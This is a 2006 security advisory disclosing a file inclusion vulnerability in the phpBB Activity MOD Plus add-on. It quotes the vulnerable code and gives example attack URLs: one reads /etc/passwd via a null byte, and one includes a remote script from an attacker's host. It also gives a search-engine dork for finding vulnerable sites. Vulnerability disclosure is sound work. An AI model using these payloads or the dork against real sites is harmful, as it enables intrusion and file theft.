Advisory: phpBB 2.x (Activity MOD Plus) File Inclusion Vulnerability.

–Security Report–
Advisory: phpBB 2.x (Activity MOD Plus) File Inclusion Vulnerability.

Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI

Date: 27/05/06 07:49 PM

Contacts:{
ICQ: 10072
MSN/Email: [email protected]
Web: http://www.nukedx.com
}

Vendor: phpBB-Amod (http://www.phpbb-amod.com/)
Version: 2.x and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary local
files to phpBB.phpbb_root_path variable in
/language/lang_english/lang_activity.php did not sanitized before
using it.You can find vulnerable code in admin_hacks_list.php
at line 12
-Source in lang_activity.php-
12: include_once($phpbb_root_path .'language/lang_'.
$board_config['default_lang'] .'/lang_activity_char.'. $phpEx);
-End of source-
If magic_quotes_gpc off remote attacker can include arbitrary internal
files by null char (0x00) ending.
If allow_url_fopen on remote attacker can include arbitrary external
files to lang_activity.php
Both requires register_globals on
Level: Highly Critical

How&Example:
Succesful exploitation needs register_globals on
GET ->
http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=[FILE]
EXAMPLE ->
http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=/etc/passwd%00
Requires magic_quotes_gpc off
EXAMPLE ->
http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=http://yoursite.com/script.txt
Requires allow_url_fopen on

Timeline:

• 27/05/2006: Vulnerability found.
• 27/05/2006: Contacted with vendor and waiting reply.

Exploit: http://www.nukedx.com/?getxpl=38

Original advisory can be found at: http://www.nukedx.com/?viewdoc=38

Dorks: "Powered by phpBB" inurl:activity.php